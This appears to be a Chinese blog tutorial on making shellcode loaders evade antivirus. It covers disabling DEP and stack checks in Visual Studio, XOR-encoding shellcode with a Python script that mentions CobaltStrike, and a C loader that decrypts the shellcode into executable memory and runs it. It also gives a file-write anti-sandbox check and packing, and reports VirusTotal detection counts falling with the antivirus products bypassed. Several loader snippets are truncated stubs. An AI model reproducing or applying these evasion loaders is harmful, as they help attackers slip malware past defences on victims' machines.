 
                            VS2019使用注意事项
- 使用Release 
 在” 项目 –> 项目属性(最后一个) “里,左上角配置里,改位release
- 禁用优化 
 在” 项目 –> 项目属性(最后一个) –> C/C++ –> 优化 “里面
- 禁用栈缓冲区安全检查(?Gs) 
 在” 项目 –> 项目属性(最后一个) –> C/C++ –> 代码生成 “里
 https://blog.csdn.net/wenrennaoda/article/details/99683051
- 禁用DEP 
 在” 项目 –> 项目属性(最后一个) –> 链接器 –> 高级 “里
- 在编译时根据生成的shellcode有没有勾选x64,选择64或86,不然编译运行会报错Privileged instruction 
  
- 重新定义程序入口 
 #pragma comment(linker,”/subsystem:"windows" /entry:"Run"“)
- 关闭运行黑窗口 
 #pragma comment(linker, “/INCREMENTAL:NO”)
- 文件后缀应该是.cpp,而不是.c 
- 优先选择x86,也就是32位的shellcode,可以少很多麻烦 
源码免杀
- 目的:- shellcode在执行前,防病毒软件都不能正确识别它
 
- 面临的问题:- 需要抵抗静态/启发式检测
 
- 解决方法:- 加密存储shellcode,内存解密
- 混淆解密代码
 
- 常见病毒检测机制:
 1.静态检测
 2.动态检测不允许程序的情况下进行软件的分析检测。
 3.基于特征码检测在真实或虚拟处理器上运行程序,HOOK关键函数对传递的参数、文件操作、内存操作进行检测。
 4.基于沙箱的检测大部分防病毒软件识别恶意软件的基础。获取恶意样本,提取特征码,放入放入防病毒库。(特征码的提取可以使用模糊哈希算法)
 5.启发式检测在隔离或虚拟的环境中进行测试。对文件操作、内存操作等进行行为分析和规则匹配。(加壳加密程序好检测)通过预定义的标准对代码片段进行分类,提供威胁/风险等级来检测未知病毒,一旦分数高于阈值就识别为恶意软件。
- 免杀核心思想:混淆、加解密、替换- 加解密: 对shellcode或二 进制程序进行加密使其难以逆向。对环境进行检测,运行环境”安全”则开始解密并在内存中加载执行
- 混淆: 在不破坏程序运行的基础上,通过添加几行无意义代码或更改指令执行顺序(使静态分析更困难,还改变了二进制程序的散列特征)
 
- 内联汇编混淆解密代码
- shellcode免杀(异或)
- 函数指针执行shellcode,关闭edp(执行数据保护)
.
混淆
- 异或
 https://saucer-man.com/operation_and_maintenance/465.html
 先借助python,对shellcode编码,1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48def xor(shellcode, key): 
 new_shellcode = ""
 key_len = len(key)
 # 对shellcode的每一位进行xor亦或处理
 for i in range(0, len(shellcode)):
 s = ord(shellcode[i])
 p = ord((key[i % key_len]))
 s = s ^ p # 与p异或,p就是key中的字符之一
 s = chr(s)
 new_shellcode += s
 return new_shellcode
 def add_random_code(shellcode, key):
 new_shellcode = ""
 key_len = len(key)
 # 每个字节后面添加随机一个字节,随机字符来源于key
 for i in range(0, len(shellcode)):
 new_shellcode += shellcode[i]
 new_shellcode += key[i % key_len]
 return new_shellcode
 # 将shellcode打印输出
 def str_to_hex(shellcode):
 raw = ""
 for i in range(0, len(shellcode)):
 s = hex(ord(shellcode[i])).replace("0x",'')
 if len(s) == 1:
 s = "0" + s
 raw =raw + "\\x" + s
 return raw
 # c,64,CobaltStrike
 shellcode = "s";
 # 这是异或和增加随机字符使用的key,为了提高复杂度也可以使用两个key
 key = "fdaufdiqe"
 # 首先对shellcode进行异或处理
 shellcode = xor(shellcode, key)
 # 然后在shellcode中增加随机字符
 shellcode = add_random_code(shellcode, key)
 # 将shellcode打印出来
 print(str_to_hex(shellcode))1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 typedef void(_stdcall* CODE)();
 void XOR_Decrypt()
 {
 unsigned char shellcode[] = "shellcode";
 int shellcode_size = 0; //原始shellcode长度
 int shellcode_final_size = 0; //解码之后的shellcode长度
 char key[] = "fdaufdiqe";
 int j;
 int key_size = sizeof(key) - 1;
 unsigned char* shellcode_final;
 // 获取shellcode大小
 shellcode_size = sizeof(shellcode);
 // 根据加密之后shellcode的大小可以推算出解码之后的大小为(shellcode_size + 1) / 2
 shellcode_final_size = (shellcode_size + 1) / 2;
 shellcode_final = (unsigned char*)malloc(shellcode_final_size);
 //首先去除垃圾代码,将结果保存在shellcode_final
 j = 0;
 for (int i = 0; i < shellcode_size; i++) {
 if (i % 2 == 0) {
 shellcode_final[j] = shellcode[i];
 j += 1;
 }
 }
 //然后进行异或处理,还原shellcode
 for (int i = 0; i < shellcode_final_size; i++) {
 shellcode_final[i] ^= key[i % key_size];
 }
 PVOID p = NULL;
 p = VirtualAlloc(NULL, shellcode_final_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
 if (p == NULL)
 {
 return;
 }
 memcpy(p, shellcode_final, shellcode_final_size);
 CODE code = (CODE)p;
 code();
 }
 int main(int argc, char** argv)
 {
 XOR_Decrypt();
 }
执行shellcode
不带内联汇编
- 函数指针执行shellcode,关闭edp(执行数据保护) - 不能运行,报错:执行位置 0x00000049476FF970 时发生访问冲突。1 
 2
 3
 4
 5
 6
 7
 8
 void loader1()
 {
 char shellcode[] = 'shellcode';
 int (*func)();
 func = (int(*)())(void*)shellcode;
 (int)(*func)();
 }
 
- 不能运行,报错:执行位置 0x00000049476FF970 时发生访问冲突。
- xxxx - 不能运行,报错:执行位置 0x0000002E0D8FF5C0 时发生访问冲突。
 
| 1 | void loader() | 
- xxxx- 可以运行
 
| 1 | void loader1() | 
- xxxx- 可以运行()
 
| 1 | typedef void(_stdcall* CODE)(); | 
- xxx- 可以运行,但是只能运行一下
 
| 1 | void loader | 
- xxxx- 可以运行
 
| 1 | void loader | 
- xxxx - 无法运行1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13typedef int (*Func)(LPVOID, SIZE_T, DWORD, DWORD); 
 void loader1()
 {
 HINSTANCE k32 = LoadLibrary(TEXT("kernel32.dll"));
 Func pFunc;
 if (k32 != NULL)
 {
 pFunc = (Func)GetProcAddress(k32, "VirtuallAlloc");
 DWORD exec = pFunc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 memcpy((void*)exec, shellcode, sizeof(shellcode));
 ((void(*)())exec)();
 }
 }
 
- 无法运行
- xxxx- 无法运行
 
| 1 | typedef int (*Func)(LPVOID, SIZE_T, DWORD, DWORD); | 
带内联汇编
- text节运行shellcode- 不能运行
 
| 1 | int main() | 
反沙箱技术
- 延时 - 借助自带API效果不好,可以通过大量计算来延时 
- 文件名 - 部分沙箱会重命名文件,可以加一个判断 
- 模拟文件操作 - 创建一个文件,再打开,如果文件打开失败(沙箱可能会组织程序创建文件),则有可能是沙箱中 - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31- int main(int argc, char** argv) 
 {
 CHAR FILE_PATH[] = "1.txt";
 HANDLE file;
 DWORD tmp;
 LPCVOID buff = "1234";
 char outputbuff[5] = { 0 };
 file = CreateFile(TEXT("E:\\VS_bypassAV\\1.txt"), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
 if (WriteFile(file, buff, strlen((const char*)buff), &tmp, NULL))
 {
 CloseHandle(file);
 file = CreateFile(TEXT("E:\\VS_bypassAV\\1.txt"),
 GENERIC_READ,
 FILE_SHARE_READ,
 NULL,
 OPEN_EXISTING,
 FILE_ATTRIBUTE_NORMAL,
 NULL);
 if (ReadFile(file, outputbuff, 4, &tmp, NULL))
 {
 if (strncmp((char*)buff, outputbuff, 4) == 0)
 {
 // 运行shellcode
 loader7();
 }
 }
 CloseHandle(file);
 }
 DeleteFile(TEXT("E:\\VS_bypassAV\\1.txt"));
 }- 亲测,没有加这步的程序, - 11/66  - 加上这步后, - 6/67  - 对比可以知道,文件操作可以解决avira,Cylance,Elastic,ESET-NOD32,FireEye,Ikarus这些杀软. 
加壳
看别人公众号,找了一个工具http://www.safengine.com/
把上面6/67的程序加一下壳,12kb变805kb,大小还不是问题

上virustotal查一下,看来是被加黑名单了
31/66
关于内联汇编
https://blog.csdn.net/luoyu510183/article/details/109429007
代码:
| 1 | 
 | 
32位汇编不需要做任何调整,只需要注意看这里是不是x86就行,基本上编译一下就过了

相比较于32位汇编, 64位要麻烦一点, 因为VS原生不支持64位汇编,所以这里需要使用clang来帮助编译.
在” 项目 –> 项目属性(最后一个) –> 常规 –> 平台工具集 “选择
如果没有的话,打开vs installer,找到对应的vs版本,修改 –> 单个组件 搜索clang,安装这两个(真大啊)


然后就可以编译运行了
